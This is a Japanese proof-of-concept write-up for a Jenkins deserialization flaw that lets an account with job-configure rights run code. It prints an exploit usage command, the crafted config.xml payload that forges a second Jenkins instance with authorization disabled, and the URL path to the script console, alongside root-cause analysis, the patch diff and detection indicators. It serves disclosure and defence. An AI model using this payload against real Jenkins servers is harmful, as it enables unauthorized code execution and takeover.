
Jenkins PersistenceRoot 逆シリアライゼーション RCE(SECURITY-3972)— PoC と分析。Item/Configure 権限が必要。週次ビルド <= 2.579 / LTS <= 2.568.2 に影響。
2026-09-02 に修正された Jenkins の逆シリアライゼーション脆弱性の PoC (advisory)。任意の単一ジョブに対して Item/Configure 権限を持つ低権限アカウントが、これを Jenkins OS ユーザーとしての任意コード実行に昇格させることができます。
| 影響を受けるバージョン | Jenkins weekly ≤ 2.579、LTS ≤ 2.568.2 |
| 修正バージョン | weekly 2.580、LTS 2.568.3 |
| 前提条件 | 認証済み、1 つ以上のジョブに対する Item/Configure |
| 影響 | Jenkins サービスアカウントとしての RCE |
| CVSS | 8.8 (High) |
脆弱なテストインスタンスに対する認可されたセキュリティ研究のみを対象としています。
pip install requests
python3 exp.py --url http://<target>:<port> --user <user> --password <pass> [--job <name>] --cmd id
このスクリプトは、アカウントにスクリプト権限がないことを確認し(403 を期待)、細工された config.xml を送信し、その後、注入されたオブジェクトグラフを経由して、ACL が攻撃者によって制御される Script Console にルーティングします。
Jenkins XStream スタック(hudson.util.XStream2 / RobustReflectionConverter)の 2 つの長年にわたる動作が組み合わさっています:
PersistenceRoot サブタイプとして型指定された(または代入可能な)任意のフィールドは、通常のオブジェクトのようにアンマーシャリングされました。XStream は Unsafe.allocateInstance(コンストラクタなし)を介してインスタンス化するため、攻撃者は authorizationStrategy を含む任意のフィールド値を持つ2 つ目の hudson.model.Hudson シングルトンを偽造できました。FingerprintAction.build、Run.project、AbstractItem.parent)は transient であるため、注入されたオブジェクトは HTTP 経由で到達可能になります — advisory の「subsequently handle HTTP requests via Stapler」という表現。POST /job/<job>/config.xml(Item/Configure のみが必要)は、ジョブの <actions> に以下を注入します:
<actions>
<hudson.tasks.Fingerprinter_-FingerprintAction>
<build class="hudson.model.FreeStyleBuild"> <!-- PersistenceRoot ネスト(欠陥 1); transient フィールド(欠陥 2) -->
<project class="hudson.model.FreeStyleProject"> <!-- Run.project: protected final transient -->
<parent class="hudson.model.Hudson"> <!-- AbstractItem.parent: transient; 偽造された 2 つ目の Jenkins -->
<authorizationStrategy class="hudson.security.AuthorizationStrategy$Unsecured"/>
</parent>
<name>...</name>
<properties/> <!-- Job.getOverrides() での NPE を回避 -->
</project>
</build>
<record/>
</hudson.tasks.Fingerprinter_-FingerprintAction>
</actions>
その後、Stapler はリクエストを偽造されたグラフにルーティングします:
| URL セグメント | 解決先 | コードパス |
|---|---|---|
/job/<job>/fingerprints | 注入された FingerprintAction | urlName == "fingerprints" + Actionable.getDynamic() |
/run | 偽造された FreeStyleBuild | FingerprintAction.getRun() が transient の build を読み取る |
/parent | 偽造された FreeStyleProject | Run.getParent() が final transient project を読み取る |
/parent | 偽造された hudson.model.Hudson | AbstractItem.getParent() が transient の parent を読み取る |
/scriptText | 偽造されたインスタンスの Script Console | Jenkins.doScriptText() → _doScript(..., getACL()) |
認可バイパス: doScriptText は、リクエストを受信したインスタンス、すなわち偽造された Hudson の getACL() に対して ADMINISTER をチェックします。これは自身の authorizationStrategy フィールドから導出され、AuthorizationStrategy$Unsecured はすべてを許可します。実際のコントローラの認可戦略は一切関与しません。逆シリアライゼーション中にコンストラクタが実行されないため、フィールド初期化子は適用されません。ペイロードは authorizationStrategy(および properties)を明示的に設定する必要があります。
jenkins-2.579 → jenkins-2.580 の差分:
RobustReflectionConverter.doUnmarshal は、PersistenceRoot サブタイプをネストされたフィールドにアンマーシャリングすることを拒否するようになりました(CriticalXStreamException: "PersistenceRoot objects are document roots and must not appear as nested field values")。許可されるのは、XStream の reference= バックリファレンス、非永続的な resolves-to リプレーサー(Run$Replacer、User$Replacer など)、および単一値コンバータのスカラーリファレンスの 3 つの安全な形状のみです。@XStreamNotDeserializable / @XStreamDeserializable アノテーションと TRANSIENT_FIELD_STRICT_MODE により、フィールドごとの transient フィールドのアンマーシャリングが厳格化されました。Jenkins.readResolve() は、2 つ目の Jenkins シングルトンの逆シリアライズを拒否するようになり、writeReplace() リプレーサーも追加されました。test/src/test/java/jenkins/security/Security3972Test.java、Security3972QueueRestartTest.java。Fingerprinter_-FingerprintAction / hudson.model.Hudson を含む予期しない POST /job/*/config.xml ペイロード、または /job/*/fingerprints/run/parent/parent/scriptText へのリクエスト。config.xml ファイルに汚染がないか確認します。